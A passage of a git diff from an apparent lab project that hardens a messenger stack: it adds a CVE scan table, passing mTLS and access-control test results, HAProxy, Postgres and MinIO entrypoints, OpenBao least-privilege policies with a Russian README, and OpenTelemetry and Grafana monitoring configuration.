+├──────────────────────────────────┼─────────────────────┤ │ ├───────────────────┼───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ golang.org/x/text │ CVE-2026-56851 │ │ │ v0.21.0 │ 0.41.0 │ golang.org/x/text: golang.org/x/text: Denial of Service via │ +│ │ │ │ │ │ │ out-of-bounds slice error in Nickname profile... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-56851 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-56852 │ │ │ │ 0.39.0 │ golang.org/x/text: golang.org/x/text: Denial of Service via │ +│ │ │ │ │ │ │ invalid UTF-8 input │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-56852 │ +├──────────────────────────────────┼─────────────────────┼──────────┤ ├───────────────────┼───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ google.golang.org/grpc │ CVE-2026-33186 │ CRITICAL │ │ v1.68.1 │ 1.79.3 │ google.golang.org/grpc/grpc-go: │ +│ │ │ │ │ │ │ google.golang.org/grpc/authz: gRPC-Go: Authorization bypass │ +│ │ │ │ │ │ │ due to improper HTTP/2 path validation │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-33186 │ +│ ├─────────────────────┼──────────┤ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-84304 │ HIGH │ │ │ 1.83.1 │ google.golang.org/grpc: gRPC-Go: Denial of Service via │ +│ │ │ │ │ │ │ HTTP/2 DATA Frame Fragmentation │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-84304 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-84445 │ │ │ │ 1.82.2, 1.83.2, 1.84.0-dev.0.20260825144003-d5a41119e0e3, │ google.golang.org/grpc: gRPC-Go: Denial of Service via │ +│ │ │ │ │ │ 1.85.0-dev.0.20260825072537-93e31b48545e │ malformed RPC requests │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-84445 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ GHSA-hrxh-6v49-42gf │ │ │ │ 1.82.1 │ gRPC-Go: xDS RBAC and HTTP/2 Vulnerabilities │ +│ │ │ │ │ │ │ https://github.com/advisories/GHSA-hrxh-6v49-42gf │ +├──────────────────────────────────┼─────────────────────┼──────────┤ ├───────────────────┼───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ stdlib │ CVE-2025-68121 │ CRITICAL │ │ v1.23.7 │ 1.24.13, 1.25.7, 1.26.0-rc.3 │ crypto/tls: crypto/tls: Incorrect certificate validation │ +│ │ │ │ │ │ │ during TLS session resumption │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2025-68121 │ +│ ├─────────────────────┼──────────┤ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2025-61726 │ HIGH │ │ │ 1.24.12, 1.25.6 │ golang: net/url: Memory exhaustion in query parameter │ +│ │ │ │ │ │ │ parsing in net/url │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2025-61726 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2025-61729 │ │ │ │ 1.24.11, 1.25.5 │ crypto/x509: golang: Denial of Service due to excessive │ +│ │ │ │ │ │ │ resource consumption via crafted... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2025-61729 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-111943 │ │ │ │ 1.26.10, 1.27.3 │ crypto/x509: golang: crypto/x509: Man-in-the-middle attacks │ +│ │ │ │ │ │ │ via untrusted intermediate certificates │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-111943 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-25679 │ │ │ │ 1.25.8, 1.26.1 │ net/url: Incorrect parsing of IPv6 host literals in net/url │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-25679 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-27145 │ │ │ │ 1.25.11, 1.26.4 │ crypto/x509: golang: golang crypto/x509: Denial of Service │ +│ │ │ │ │ │ │ via excessive processing of DNS... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-27145 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-32280 │ │ │ │ 1.25.9, 1.26.2 │ crypto/x509: crypto/tls: golang: Go: Denial of Service │ +│ │ │ │ │ │ │ vulnerability in certificate chain building... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-32280 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-32281 │ │ │ │ │ crypto/x509: golang: Go crypto/x509: Denial of Service via │ +│ │ │ │ │ │ │ inefficient certificate chain validation... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-32281 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-32283 │ │ │ │ │ crypto/tls: golang: Go crypto/tls: Denial of Service via │ +│ │ │ │ │ │ │ multiple TLS 1.3 key... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-32283 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-33811 │ │ │ │ 1.25.10, 1.26.3 │ net: golang: Go net package: Denial of Service via long │ +│ │ │ │ │ │ │ CNAME response... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-33811 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-33814 │ │ │ │ │ net/http/internal/http2: golang: golang.org/x/net: Go │ +│ │ │ │ │ │ │ HTTP/2: Denial of Service via malformed │ +│ │ │ │ │ │ │ SETTINGS_MAX_FRAME_SIZE frame... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-33814 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-33818 │ │ │ │ 1.25.13, 1.26.6, 1.27.0-rc.3 │ encoding/asn1: golang: Go encoding/asn1: Denial of Service │ +│ │ │ │ │ │ │ via excessive recursion in Unmarshal... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-33818 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-39820 │ │ │ │ 1.25.10, 1.26.3 │ net/mail: golang: Go net/mail: Denial of Service via crafted │ +│ │ │ │ │ │ │ email inputs │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-39820 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-39821 │ │ │ │ 1.25.13, 1.26.6, 1.27.0-rc.3 │ golang.org/x/net/idna: golang: net/http: │ +│ │ │ │ │ │ │ golang.org/x/net/idna: Privilege escalation via incorrect │ +│ │ │ │ │ │ │ Punycode label processing │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-39821 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-39822 │ │ │ │ 1.25.12, 1.26.5, 1.27.0-rc.2 │ golang: Go os.Root: Symlink following vulnerability allows │ +│ │ │ │ │ │ │ directory traversal │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-39822 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-39836 │ │ │ │ 1.25.10, 1.26.3 │ net: golang: Go net package: Denial of Service via NUL byte │ +│ │ │ │ │ │ │ in... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-39836 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-42499 │ │ │ │ │ net/mail: golang: net/mail: Denial of Service via │ +│ │ │ │ │ │ │ pathological email address parsing │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-42499 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-42504 │ │ │ │ 1.25.11, 1.26.4 │ mime: golang: Golang MIME: Denial of Service via │ +│ │ │ │ │ │ │ maliciously-crafted MIME header │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-42504 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-56853 │ │ │ │ 1.25.13, 1.26.6, 1.27.0-rc.3 │ net/http: golang: Go net/http: Unencrypted HTTP/2 │ +│ │ │ │ │ │ │ connections vulnerable to Denial of Service... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-56853 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-56858 │ │ │ │ │ html/template: golang: Go html/template: Cross-Site │ +│ │ │ │ │ │ │ Scripting via pathological input │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-56858 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-56859 │ │ │ │ │ encoding/xml: golang: Go: Denial of Service via XML decoding │ +│ │ │ │ │ │ │ recursion depth issue... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-56859 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-56860 │ │ │ │ │ net/url: golang: golang net/url: Denial of Service from │ +│ │ │ │ │ │ │ quadratic complexity in path... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-56860 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-56862 │ │ │ │ │ crypto/tls: golang: Golang crypto/tls: Denial of Service via │ +│ │ │ │ │ │ │ indefinite KeyUpdate messages │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-56862 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-78667 │ │ │ │ 1.26.9, 1.27.2 │ net/http: golang: golang: Denial of Service via crafted HTTP │ +│ │ │ │ │ │ │ Range headers │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-78667 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-78669 │ │ │ │ │ net/http: net/http/internal/http2: golang.org/x/net/http2: │ +│ │ │ │ │ │ │ net/http: Denial of Service via excessive HTTP/2 SETTINGS │ +│ │ │ │ │ │ │ frames... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-78669 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-97031 │ │ │ │ │ crypto/tls: golang: crypto/tls: Denial of Service via │ +│ │ │ │ │ │ │ multiple ECH outer extension references... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-97031 │ +└──────────────────────────────────┴─────────────────────┴──────────┴────────┴───────────────────┴───────────────────────────────────────────────────────────┴──────────────────────────────────────────────────────────────┘ diff --git a/evidence/trust.txt b/evidence/trust.txt new file mode 100644 index 0000000..62760f7 --- /dev/null +++ b/evidence/trust.txt @@ -0,0 +1,84 @@ +PASS two API addresses resolved +PASS API 1 allows active LB +PASS API 1 rejects missing cert +PASS API 1 rejects foreign +PASS API 1 rejects intruder +PASS API 2 allows active LB +PASS API 2 rejects missing cert +PASS API 2 rejects foreign +PASS API 2 rejects intruder +PASS Collector rejects missing cert +PASS Collector rejects foreign +PASS Collector rejects intruder +PASS Collector allows api OTLP +PASS Collector allows worker OTLP +PASS Collector allows dispatcher OTLP +PASS Collector allows reconciler OTLP +PASS Collector scrape 8888 permits only scraper +PASS Collector scrape 8889 permits only scraper +PASS broker allows worker +PASS broker rejects missing cert with valid worker Redis password +PASS broker rejects foreign with valid worker Redis password +PASS broker rejects intruder with valid worker Redis password +PASS broker rejects api with valid worker Redis password +PASS broker allows dispatcher +PASS broker rejects missing cert with valid dispatcher Redis password +PASS broker rejects foreign with valid dispatcher Redis password +PASS broker rejects intruder with valid dispatcher Redis password +PASS broker rejects api with valid dispatcher Redis password +PASS Redis producer cannot read stream +PASS Redis worker cannot publish +PASS Redis worker cannot write foreign key +PASS DB verify-full and distinct api login +PASS DB rejects plaintext api login +PASS DB verify-full and distinct worker login +PASS DB rejects plaintext worker login +PASS DB verify-full and distinct dispatcher login +PASS DB rejects plaintext dispatcher login +PASS DB verify-full and distinct reconciler login +PASS DB rejects plaintext reconciler login +PASS DB rejects mismatched SAN +PASS worker cannot read users/passwords +PASS S3 API allowed to list originals via verified HTTPS +PASS S3 application cannot list all buckets (operator privilege) +PASS S3 public health verified over TLS +PASS S3 original is private even with a known object key +PASS S3 API cannot put original +PASS S3 worker cannot list bucket +PASS S3 worker cannot put arbitrary prefix +PASS OpenBao api scoped TTL and secret +PASS OpenBao api denied messenger/data/operator +PASS OpenBao api denied sys/policies/acl/escalate +PASS OpenBao api denied existing worker secret +PASS OpenBao worker scoped TTL and secret +PASS OpenBao worker denied messenger/data/operator +PASS OpenBao worker denied sys/policies/acl/escalate +PASS OpenBao worker denied existing api secret +PASS OpenBao dispatcher scoped TTL and secret +PASS OpenBao dispatcher denied messenger/data/operator +PASS OpenBao dispatcher denied sys/policies/acl/escalate +PASS OpenBao dispatcher denied existing api secret +PASS OpenBao reconciler scoped TTL and secret +PASS OpenBao reconciler denied messenger/data/operator +PASS OpenBao reconciler denied sys/policies/acl/escalate +PASS OpenBao reconciler denied existing api secret +PASS OpenBao same-CA intruder cannot assume API role +PASS OpenBao worker credential has no operator access +PASS prometheus data source read role +PASS prometheus denies application reads +PASS loki data source read role +PASS loki denies application reads +PASS tempo data source read role +PASS tempo denies application reads +PASS Loki denies Grafana ingest +PASS Tempo denies Grafana ingest +PASS Loki permits Collector ingest +PASS Tempo permits Collector ingest +PASS closed plaintext port broker:6379 +PASS closed plaintext port collector:14318 +PASS closed plaintext port collector:18889 +PASS closed plaintext port prometheus:19090 +PASS closed plaintext port loki:13100 +PASS closed plaintext port tempo:13200 +PASS closed plaintext port tempo:14318 +PASS 83 TLS and ACL assertions diff --git a/evidence/validate.txt b/evidence/validate.txt new file mode 100644 index 0000000..37e8188 --- /dev/null +++ b/evidence/validate.txt @@ -0,0 +1,2 @@ +.venv/bin/python scripts/validate_openapi.py +PASS: full OpenAPI 3.1 and JSON Schema validation; application NOT tested. diff --git a/infra/db-entrypoint.sh b/infra/db-entrypoint.sh new file mode 100644 index 0000000..88d799e --- /dev/null +++ b/infra/db-entrypoint.sh @@ -0,0 +1,8 @@ +#!/bin/sh +set -eu +install -o postgres -g postgres -m 600 /pki/service.key /run/pg-tls/server.key +install -m 644 /pki/service.crt /run/pg-tls/server.crt +exec docker-entrypoint.sh postgres -c ssl=on \ + -c ssl_cert_file=/run/pg-tls/server.crt -c ssl_key_file=/run/pg-tls/server.key \ + -c hba_file=/etc/lab-pg-hba.conf -c password_encryption=scram-sha-256 \ + -c shared_buffers=64MB -c max_connections=60 diff --git a/infra/haproxy.cfg b/infra/haproxy.cfg new file mode 100644 index 0000000..e7b2b19 --- /dev/null +++ b/infra/haproxy.cfg @@ -0,0 +1,43 @@ +global + ssl-default-bind-options ssl-min-ver TLSv1.2 no-tls-tickets + ssl-default-server-options ssl-min-ver TLSv1.2 + maxconn 256 + +defaults + mode http + timeout connect 500ms + timeout client 45s + timeout server 50s + timeout check 2s + retries 0 + +resolvers docker + nameserver dns 127.0.0.11:53 + resolve_retries 1 + timeout resolve 1s + timeout retry 1s + hold valid 1s + hold nx 1s + hold obsolete 1s + +frontend public + bind :8443 ssl crt /pki/server.pem + http-request deny if { path_beg /internal/ } + http-request del-header X-Forwarded-For + use_backend liveness if { path -m str /health/live } + default_backend messenger + +backend messenger + balance roundrobin + option httpchk GET /health/ready + http-check expect status 200 + default-server ssl verify required verifyhost api ca-file /pki/ca.crt crt /pki/client.pem check inter 1s fall 2 rise 1 + server-template api 1-2 api:8444 resolvers docker init-addr none resolve-prefer ipv4 + + +backend liveness + balance roundrobin + option httpchk GET /health/live + http-check expect status 200 + default-server ssl verify required verifyhost api ca-file /pki/ca.crt crt /pki/client.pem check inter 1s fall 2 rise 1 + server-template live 1-2 api:8444 resolvers docker init-addr none resolve-prefer ipv4 diff --git a/infra/minio-entrypoint.sh b/infra/minio-entrypoint.sh new file mode 100644 index 0000000..e5a9905 --- /dev/null +++ b/infra/minio-entrypoint.sh @@ -0,0 +1,5 @@ +#!/bin/sh +set -eu +export MINIO_ROOT_USER=operator +export MINIO_ROOT_PASSWORD="$(cat /credentials/root)" +exec minio "$@" diff --git a/infra/openbao/README.md b/infra/openbao/README.md index 0850e23..6e63912 100644 --- a/infra/openbao/README.md +++ b/infra/openbao/README.md @@ -1,7 +1,23 @@ -# OpenBao — реализовать конфигурацию и политики +# OpenBao -Добавьте non-dev конфигурацию listener/storage/TLS, API/worker policies, bootstrap и rotation scripts. Credentials и unseal material создаются локально; здесь нет готового root token или private key. +`server.hcl` поднимает OpenBao 2.7.2 с TLS и single-node Raft в volume +`bao_raft_active`. Cluster listener привязан к loopback. Клиенты проверяют +Lab7 CA и SAN `openbao`; роль cert auth закреплена за публичным leaf и SAN. +Только API, dispatcher, worker, reconciler и операторский probe подключены к +сети `vault` вместе с OpenBao. TLS-порт оператора опубликован на loopback. -Решение должно показать реальную сервисную аутентификацию и получение нужного secret по ограниченной policy; просто работающий контейнер OpenBao не засчитывается. На 3 статический KV secret допустим. На 4 покажите expiry/renewal/rotation и allow/deny. Путь KV v2 data/metadata и ACL должен соответствовать фактическому mount; не копируйте широкое `path "*"` для приложения. +Первый `scripts/start.sh` вызывает `python3 -m scripts.bao_operator bootstrap` +до запуска приложения. Локальный оператор выполняет init, unseal и настройку +KV v2/cert auth. Начальный root token отзывается после проверки оператора. +Unseal shares хранятся только на хосте в закрытом файле 0600. Два из трёх +shares нужны для `python3 -m scripts.bao_operator unseal` после рестарта. -Документируйте шаги оператора init/unseal и восстановление после restart. Скрипт не должен печатать tokens/shares или хранить их в Git. См. contracts/trust-matrix.md и REPORT.md. +Четыре app role читают ровно свой `messenger/data/` и обновляют +собственный токен. TTL 30 с, absolute max 5 мин, далее cert re-auth. +Короткий локальный lease ограничивает работу с уже загруженным набором +credentials, если OpenBao запечатан, cert-login отклонён или KV изменился. +Значения не выводятся и не монтируются в app в виде root credential. +Оператор управляет cert roles и KV. При DB и S3 ротации он заменяет пароль +зависимости и KV. После этого API перечитывает набор при пересоздании. + +Порядок запуска и воспроизводимые проверки — в [REPORT](../../REPORT.md). diff --git a/infra/openbao/api.hcl b/infra/openbao/api.hcl new file mode 100644 index 0000000..0a50f8b --- /dev/null +++ b/infra/openbao/api.hcl @@ -0,0 +1,6 @@ +path "messenger/data/api" { + capabilities = ["read"] +} +path "auth/token/renew-self" { + capabilities = ["update"] +} diff --git a/infra/openbao/dispatcher.hcl b/infra/openbao/dispatcher.hcl new file mode 100644 index 0000000..83c4c48 --- /dev/null +++ b/infra/openbao/dispatcher.hcl @@ -0,0 +1,6 @@ +path "messenger/data/dispatcher" { + capabilities = ["read"] +} +path "auth/token/renew-self" { + capabilities = ["update"] +} diff --git a/infra/openbao/operator.hcl b/infra/openbao/operator.hcl new file mode 100644 index 0000000..ab639fc --- /dev/null +++ b/infra/openbao/operator.hcl @@ -0,0 +1,12 @@ +path "auth/cert/certs/*" { + capabilities = ["create", "read", "update", "delete", "list"] +} +path "messenger/data/*" { + capabilities = ["create", "read", "update"] +} +path "sys/seal" { + capabilities = ["update", "sudo"] +} +path "auth/token/revoke-accessor" { + capabilities = ["update", "sudo"] +} diff --git a/infra/openbao/reconciler.hcl b/infra/openbao/reconciler.hcl new file mode 100644 index 0000000..9d7c840 --- /dev/null +++ b/infra/openbao/reconciler.hcl @@ -0,0 +1,6 @@ +path "messenger/data/reconciler" { + capabilities = ["read"] +} +path "auth/token/renew-self" { + capabilities = ["update"] +} diff --git a/infra/openbao/server.hcl b/infra/openbao/server.hcl new file mode 100644 index 0000000..e45c06f --- /dev/null +++ b/infra/openbao/server.hcl @@ -0,0 +1,19 @@ +ui = false +api_addr = "https://openbao:8200" + +cluster_addr = "https://openbao:8201" + +storage "raft" { + node_id = "lab7" + path = "/openbao/file" +} + +listener "tcp" { + address = "0.0.0.0:8200" + cluster_address = "127.0.0.1:8201" + tls_cert_file = "/pki/service.crt" + tls_key_file = "/pki/service.key" + tls_client_ca_file = "/pki/ca.crt" + tls_min_version = "tls12" + tls_require_and_verify_client_cert = true +} diff --git a/infra/openbao/worker.hcl b/infra/openbao/worker.hcl new file mode 100644 index 0000000..723b7a1 --- /dev/null +++ b/infra/openbao/worker.hcl @@ -0,0 +1,6 @@ +path "messenger/data/worker" { + capabilities = ["read"] +} +path "auth/token/renew-self" { + capabilities = ["update"] +} diff --git a/infra/otel/alerts.yaml b/infra/otel/alerts.yaml new file mode 100644 index 0000000..7657e81 --- /dev/null +++ b/infra/otel/alerts.yaml @@ -0,0 +1,44 @@ +groups: +- name: incidents + rules: + - alert: APIHighErrorRate + expr: slo:api_error_ratio:30s > 0.05 + for: 10s + labels: + severity: warning + annotations: + summary: API 5xx > 5% / 30s + runbook: 'REPORT.md: DB incident' + - alert: QueueLagGrowing + expr: max(queue_oldest_age_seconds) > 15 and max(queue_depth) > 0 + for: 10s + labels: + severity: warning + annotations: + summary: Durable unfinished job age > 15s + runbook: 'REPORT.md: worker incident' + - alert: APIErrorBudgetBurnFast + expr: slo:api_error_ratio:30s > 0.144 and slo:api_error_ratio:2m > 0.144 + for: 10s + labels: + severity: critical + annotations: + summary: 'API 99% SLO: burn >14.4 over 30s AND 2m' + runbook: 'REPORT.md: DB incident' + - alert: APIErrorBudgetBurnSlow + expr: slo:api_error_ratio:1m > 0.06 and slo:api_error_ratio:5m > 0.06 + for: 20s + labels: + severity: warning + annotations: + summary: 'API 99% SLO: burn >6 over 1m AND 5m' + runbook: 'REPORT.md: DB incident' + - alert: ReadyErrorBudgetBurn + expr: slo:ready_bad_ratio:30s > 0.144 and slo:ready_bad_ratio:2m > 0.144 and sum(rate(ready_deadline_jobs_total[30s])) + > 0 + for: 10s + labels: + severity: warning + annotations: + summary: 'Ready <=10s / 99%: burn >14.4' + runbook: 'REPORT.md: worker incident' diff --git a/infra/otel/collector.yaml b/infra/otel/collector.yaml new file mode 100644 index 0000000..aaf019e --- /dev/null +++ b/infra/otel/collector.yaml @@ -0,0 +1,100 @@ +extensions: + health_check: + endpoint: 127.0.0.1:13133 + file_storage: + directory: /var/lib/otel + compaction: + on_start: true + directory: /var/lib/otel/compact + create_directory: true +receivers: + otlp: + protocols: + http: + endpoint: 127.0.0.1:14318 +processors: + memory_limiter: + check_interval: 1s + limit_mib: 160 + spike_limit_mib: 32 + batch: + timeout: 1s + send_batch_size: 128 + send_batch_max_size: 256 +exporters: + prometheus: + endpoint: 127.0.0.1:18889 + resource_to_telemetry_conversion: + enabled: true + otlphttp/loki: + endpoint: https://loki:3100/otlp + tls: + ca_file: /pki/ca.crt + cert_file: /pki/client/service.crt + key_file: /pki/client/service.key + timeout: 2s + sending_queue: + enabled: true + queue_size: 32 + num_consumers: 1 + storage: file_storage + retry_on_failure: + enabled: true + initial_interval: 1s + max_interval: 3s + max_elapsed_time: 10s + otlphttp/tempo: + endpoint: https://tempo:4318 + tls: + ca_file: /pki/ca.crt + cert_file: /pki/client/service.crt + key_file: /pki/client/service.key + timeout: 2s + sending_queue: + enabled: true + queue_size: 32 + num_consumers: 1 + storage: file_storage + retry_on_failure: + enabled: true + initial_interval: 1s + max_interval: 3s + max_elapsed_time: 10s +service: + extensions: + - health_check + - file_storage + telemetry: + metrics: + level: detailed + readers: + - pull: + exporter: + prometheus: + host: 127.0.0.1 + port: 18888 + pipelines: + metrics: + receivers: + - otlp + processors: + - memory_limiter + - batch + exporters: + - prometheus + logs: + receivers: + - otlp + processors: + - memory_limiter + - batch + exporters: + - otlphttp/loki + traces: + receivers: + - otlp + processors: + - memory_limiter + - batch + exporters: + - otlphttp/tempo diff --git a/infra/otel/grafana/dashboards/lab7.json b/infra/otel/grafana/dashboards/lab7.json new file mode 100644 index 0000000..e428451 --- /dev/null +++ b/infra/otel/grafana/dashboards/lab7.json @@ -0,0 +1,484 @@ +{ + "uid": "lab7", + "title": "Lab7 \u2014 Messenger observations", + "schemaVersion": 39, + "version": 1, + "refresh": "5s", + "time": { + "from": "now-15m", + "to": "now" + }, + "panels": [ + { + "id": 1, + "type": "timeseries", + "title": "Business API requests / second", + "datasource": { + "type": "prometheus", + "uid": "prometheus" + }, + "gridPos": { + "x": 0, + "y": 0, + "w": 12, + "h": 8 + }, + "targets": [ + { + "expr": "sum(rate(app_http_requests_total[1m]))", + "refId": "A" + } + ], + "fieldConfig": { + "defaults": { + "unit": "reqps" + }, + "overrides": [] + } + }, + { + "id": 2, + "type": "timeseries", + "title": "API 5xx / business requests", + "datasource": { + "type": "prometheus", + "uid": "prometheus" + }, + "gridPos": { + "x": 12, + "y": 0, + "w": 12, + "h": 8 + }, + "targets": [ + { + "expr": "slo:api_error_ratio:1m", + "refId": "A" + } + ], + "fieldConfig": { + "defaults": { + "unit": "percentunit" + }, + "overrides": [] + } + }, + { + "id": 3, + "type": "timeseries", + "title": "API latency p50 / p95 / p99, all replicas", + "datasource": { + "type": "prometheus", + "uid": "prometheus" + }, + "gridPos": { + "x": 0, + "y": 8, + "w": 12, + "h": 8 + }, + "targets": [ + { + "expr": "histogram_quantile(0.5,sum by(le)(rate(app_http_duration_seconds_bucket[1m])))", + "refId": "A" + }, + { + "expr": "histogram_quantile(0.95,sum by(le)(rate(app_http_duration_seconds_bucket[1m])))", + "refId": "B" + }, + { + "expr": "histogram_quantile(0.99,sum by(le)(rate(app_http_duration_seconds_bucket[1m])))", + "refId": "C" + } + ], + "fieldConfig": { + "defaults": { + "unit": "s" + }, + "overrides": [] + } + }, + { + "id": 4, + "type": "timeseries", + "title": "Jobs processed / second by outcome", + "datasource": { + "type": "prometheus", + "uid": "prometheus" + }, + "gridPos": { + "x": 12, + "y": 8, + "w": 12, + "h": 8 + }, + "targets": [ + { + "expr": "sum by(outcome)(rate(jobs_processed_total[1m]))", + "refId": "A" + } + ], + "fieldConfig": { + "defaults": { + "unit": "ops" + }, + "overrides": [] + } + }, + { + "id": 5, + "type": "timeseries", + "title": "Worker processing p95", + "datasource": { + "type": "prometheus", + "uid": "prometheus" + }, + "gridPos": { + "x": 0, + "y": 16, + "w": 12, + "h": 8 + }, + "targets": [ + { + "expr": "histogram_quantile(0.95,sum by(le)(rate(job_duration_seconds_bucket[1m])))", + "refId": "A" + } + ], + "fieldConfig": { + "defaults": { + "unit": "s" + }, + "overrides": [] + } + }, + { + "id": 6, + "type": "timeseries", + "title": "Ready time p50 / p95 / p99", + "datasource": { + "type": "prometheus", + "uid": "prometheus" + }, + "gridPos": { + "x": 12, + "y": 16, + "w": 12, + "h": 8 + }, + "targets": [ + { + "expr": "histogram_quantile(0.5,sum by(le)(rate(attachment_ready_seconds_bucket[2m])))", + "refId": "A" + }, + { + "expr": "histogram_quantile(0.95,sum by(le)(rate(attachment_ready_seconds_bucket[2m])))", + "refId": "B" + }, + { + "expr": "histogram_quantile(0.99,sum by(le)(rate(attachment_ready_seconds_bucket[2m])))", + "refId": "C" + } + ], + "fieldConfig": { + "defaults": { + "unit": "s" + }, + "overrides": [] + } + }, + { + "id": 7, + "type": "timeseries", + "title": "Durable unfinished jobs", + "datasource": { + "type": "prometheus", + "uid": "prometheus" + }, + "gridPos": { + "x": 0, + "y": 24, + "w": 12, + "h": 8 + }, + "targets": [ + { + "expr": "max(queue_depth)", + "refId": "A" + } + ], + "fieldConfig": { + "defaults": { + "unit": "short" + }, + "overrides": [] + } + }, + { + "id": 8, + "type": "timeseries", + "title": "Oldest unfinished job / seconds", + "datasource": { + "type": "prometheus", + "uid": "prometheus" + }, + "gridPos": { + "x": 12, + "y": 24, + "w": 12, + "h": 8 + }, + "targets": [ + { + "expr": "max(queue_oldest_age_seconds)", + "refId": "A" + } + ], + "fieldConfig": { + "defaults": { + "unit": "s" + }, + "overrides": [] + } + }, + { + "id": 9, + "type": "timeseries", + "title": "DB pool used / waiting", + "datasource": { + "type": "prometheus", + "uid": "prometheus" + }, + "gridPos": { + "x": 0, + "y": 32, + "w": 12, + "h": 8 + }, + "targets": [ + { + "expr": "sum(db_pool_used)", + "refId": "A" + }, + { + "expr": "sum(db_pool_waiting)", + "refId": "B" + } + ], + "fieldConfig": 